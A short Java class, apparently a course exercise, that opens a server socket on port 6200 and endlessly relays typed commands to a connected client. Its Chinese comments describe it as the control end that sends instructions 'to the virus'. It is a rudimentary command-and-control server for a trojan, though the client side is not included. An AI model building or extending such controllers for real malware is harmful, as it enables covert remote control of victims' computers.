package day03;

import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Scanner;

//服务端 ---- 控制端  ServerSocket 8080 ， 80，2713，2777
public class host {

    public static void main(String[] args) throws IOException {
        // 服务器永远在等待
        ServerSocket ss = new ServerSocket(6200);
        System.out.println("等待中...");
        Socket s = ss.accept();
        Scanner sc = new Scanner(System.in);
        //获取初级管道
        OutputStream out = s.getOutputStream(); //发送消息的管道
        //包装一层，可以发送中文管道
        DataOutputStream dos = new DataOutputStream(out);

        for (;;) {
            System.out.println("主人，请发送指令");
            //输入要发送的指令
            String text = sc.next();
            //给病毒发送过去
            dos.writeUTF(text);

            dos.flush(); //发送
        }

    }
}
